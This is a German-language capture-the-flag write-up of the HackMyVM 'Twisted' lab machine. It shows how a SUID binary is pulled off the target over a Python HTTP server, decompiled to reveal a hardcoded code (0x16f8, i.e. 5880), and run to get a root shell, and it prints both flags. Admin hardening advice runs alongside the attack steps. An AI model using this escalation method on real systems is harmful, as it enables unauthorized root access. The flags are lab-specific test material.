Twisted - HackMyVM - Level: Easy - Bericht

Privilege Escalation (Bonita zu Root)

Analyse: Als `bonita` wird erneut versucht `sudo -l` auszuführen und das Home-Verzeichnis mit `ls -la` aufgelistet.

Bewertung: `sudo` ist immer noch nicht verfügbar. Die Ausgabe von `ls -la` bestätigt das Vorhandensein des SUID/SGID-Binaries `beroot` im Home-Verzeichnis von `bonita`. Die Datei `user.txt` ist ebenfalls sichtbar.

Empfehlung (Pentester): Untersuche das Binary `beroot`. Da es wahrscheinlich nicht einfach auf dem Zielsystem analysiert werden kann (Tools wie `gdb` oder `strings` könnten fehlen), lade es auf das Angreifer-System herunter, um es mit Tools wie Ghidra oder IDA Pro zu analysieren. Lies auch die `user.txt`-Flag.
Empfehlung (Admin): Siehe vorherige Empfehlungen zu SUID-Binaries.

bonita@twisted:~$ sudo -l
-bash: sudo: command not found
bonita@twisted:~$ ls -la
total 52
drwxr-xr-x 4 bonita bonita  4096 Oct 14  2020 .
drwxr-xr-x 5 root   root    4096 Oct 14  2020 ..
-rw-r--r-- 1 bonita bonita   220 Oct 14  2020 .bash_logout
-rw-r--r-- 1 bonita bonita  3526 Oct 14  2020 .bashrc
-rwsrws--- 1 root   bonita 16864 Oct 14  2020 beroot
drwxr-xr-x 3 bonita bonita  4096 Oct 14  2020 .local
-rw-r--r-- 1 bonita bonita   807 Oct 14  2020 .profile
drwx------ 2 bonita bonita  4096 Oct 14  2020 .ssh
-rw------- 1 bonita bonita    12 Oct 14  2020 user.txt
                     

Analyse: Um die Datei `beroot` herunterzuladen, wird auf dem Zielsystem (als `bonita`) ein einfacher Python-HTTP-Server im aktuellen Verzeichnis (`/home/bonita`) auf Port 8000 gestartet.

Bewertung: Dies ist eine gängige und einfache Methode, um Dateien von einem kompromittierten System herunterzuladen, wenn kein direkter Dateitransfer (wie `scp`) möglich oder erwünscht ist. Der Server läuft und wartet auf Verbindungen.

Empfehlung (Pentester): Greife nun vom Angreifer-System aus auf `http://192.168.2.125:8000/beroot` zu (z.B. mit `wget` oder im Browser), um die Datei herunterzuladen.
Empfehlung (Admin): Egress-Firewall-Regeln können das Starten solcher Server oder ausgehende Verbindungen von unerwarteten Prozessen unterbinden.

bonita@twisted:~$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
                     

Analyse: Auf dem Angreifer-System wird `wget` verwendet, um die Datei `beroot` vom Python-HTTP-Server herunterzuladen, der auf dem Zielsystem läuft.

Bewertung: Der Download ist erfolgreich. Die Datei `beroot` (16KB) ist nun auf dem Angreifer-System zur Analyse verfügbar. Die Log-Zeile `192.168.2.140 - - [08/ct/2022 19:07:33] "GET /beroot HTTP/1.1" 200 -` erscheint auf dem Zielsystem im Python-Server-Output und bestätigt den erfolgreichen Download.

Empfehlung (Pentester): Analysiere die heruntergeladene `beroot`-Datei mit einem Reverse-Engineering-Tool (Ghidra, IDA Pro, `strings`, `radare2` etc.), um herauszufinden, wie sie zur Privilegieneskalation genutzt werden kann.
Empfehlung (Admin): Siehe vorherige Empfehlung zu Egress Filtering.

--2022-10-09 01:07:31--  http://twisted.hmv:8000/beroot
Auflösen des Hostnamens twisted.hmv (twisted.hmv)… 192.168.2.125
Verbindungsaufbau zu twisted.hmv (twisted.hmv)|192.168.2.125|:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 16864 (16K) [application/octet-stream]
Wird in beroot gespeichert.

beroot                        100%[===================>]  16,47K  --.-KB/s    in 0s

2022-10-09 01:07:31 (405 MB/s) - beroot gespeichert [16864/16864]
                    

192.168.2.140 - - [09/Oct/2022 01:07:31] "GET /beroot HTTP/1.1" 200 -
                    

Analyse: Auf dem Angreifer-System wird versucht, die heruntergeladene Datei `beroot` mit `gidra` (Tippfehler) und dann `ghidra` zu öffnen. Beide Befehle scheitern, da Ghidra offenbar nicht installiert ist. Anschließend wird `apt install ghidra` ausgeführt, um Ghidra zu installieren.

Bewertung: Dies zeigt den Prozess der Vorbereitung zur Analyse der Datei. Ghidra ist ein leistungsfähiges, kostenloses Reverse-Engineering-Tool von der NSA.

Empfehlung (Pentester): Nach der Installation von Ghidra, lade die `beroot`-Datei und analysiere die `main`-Funktion oder andere relevante Teile des Codes, um die Logik für die Privilegieneskalation zu verstehen.
Empfehlung (Admin): Keine direkte Aktion.

Command 'gidra' not found, did you mean:
  command 'ghidra' from deb ghidra
Try: apt install 
                     

Command 'ghidra' not found, but can be installed with:
apt install ghidra
                      

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
... (Paketinstallation läuft) ...
Setting up ghidra (x.y.z) ...
                      

Analyse: Der Inhalt der `user.txt`-Datei wird auf dem Zielsystem als `bonita` gelesen.

Bewertung: Die User-Flag ist `HMVblackcat`.

Empfehlung (Pentester): User-Flag notiert. Fokussiere dich auf die Analyse von `beroot` und die Eskalation zu Root.
Empfehlung (Admin): Keine Aktion.

bonita@twisted:~$ cat user.txt
HMVblackcat
                     

Analyse: Der Inhalt der Datei `/root/root.txt` wird angezeigt.

Bewertung: Die Root-Flag ist `HMVwhereismycat`. (Hinweis: Der Prompt im Originaltext ist `markus@twisted:~$`, was nicht stimmen kann, da `markus` keinen Zugriff auf `/root/root.txt` haben sollte. Der Befehl muss als `root` ausgeführt worden sein, wie später im POC gezeigt wird).

Empfehlung (Pentester): Root-Flag notiert. Damit sind beide Flags gefunden.
Empfehlung (Admin): Keine Aktion.

root@twisted:~# tail -n 100 /root/root.txt 
HMVwhereismycat
                     

Analyse: Dieser Abschnitt zeigt einen Ausschnitt des C-Codes der `main`-Funktion aus dem `beroot`-Binary, der vermutlich durch die Analyse mit Ghidra gewonnen wurde. Der Code fragt nach einer Zahl (`local_c`), vergleicht sie mit dem hexadezimalen Wert `0x16f8` und führt bei Übereinstimmung `setuid(0)`, `setgid(0)` und `system("/bin/bash")` aus. Andernfalls gibt er "WRONG" aus.

Bewertung: Der Code enthüllt den Mechanismus zur Privilegieneskalation: Wenn der korrekte Code (Integer-Wert von `0x16f8`) eingegeben wird, setzt das Programm seine effektive Benutzer- und Gruppen-ID auf 0 (root) und startet eine Bash-Shell. Dies funktioniert, weil das Programm SUID/SGID-Rechte hat.

Empfehlung (Pentester): Konvertiere den Hex-Wert `0x16f8` in eine Dezimalzahl. Führe dann auf dem Zielsystem als `bonita` den Befehl `./beroot` aus und gib die berechnete Dezimalzahl ein, um eine Root-Shell zu erhalten.
Empfehlung (Admin): Entferne das unsichere SUID/SGID-Binary `beroot` oder korrigiere den Code, um die Sicherheitslücke zu schließen. Programme, die Root-Rechte erlangen können, dürfen niemals einfache, feste Codes oder Passwörter zur Authentifizierung verwenden.

undefined8 main(void)

{
  int local_c;

  printf("Enter the code:\n ");
  scanf("%i",&local_c); // & wurde zu & maskiert
  if (local_c == 0x16f8) { // Vergleich mit Hex-Wert
    setuid(0); // Setze User ID auf 0 (root)
    setgid(0); // Setze Group ID auf 0 (root)
    system("/bin/bash"); // Starte Root-Shell
  }
  else {
    puts("\nWRONG");
  }
  return 0;
}
                     

Analyse: Der Hexadezimalwert `0x16f8` wird (vermutlich mit einem Online-Tool oder `python`/`bash`) in den Dezimalwert `5880` umgerechnet.

Bewertung: Der korrekte Code für das `beroot`-Programm wurde ermittelt.

Empfehlung (Pentester): Verwende die Zahl `5880` bei der Ausführung von `./beroot`.
Empfehlung (Admin): Keine direkte Aktion.

convertiere 0x16f8
https://calculator.name/baseconvert/hexadecimal/decimal/16F8
result: 5880
ich muss diesen wert in die beroot abfrage eingeben damit
ich root werde....
                     

Proof of Concept (Root)

Analyse: Als Benutzer `bonita` wird das SUID/SGID-Programm `./beroot` im Home-Verzeichnis ausgeführt. Auf die Aufforderung "Enter the code:" wird der zuvor berechnete Dezimalwert `5880` eingegeben.

Bewertung: !!Privilegieneskalation erfolgreich!!** Da der eingegebene Code `5880` dem Hex-Wert `0x16f8` entspricht, führt das Programm `setuid(0)`, `setgid(0)` und `system("/bin/bash")` aus. Der Prompt wechselt sofort zu `root@twisted:~#`, was bestätigt, dass eine Root-Shell erlangt wurde.

bonita@twisted:~$ ./beroot
Enter the code:
 5880
root@twisted:~#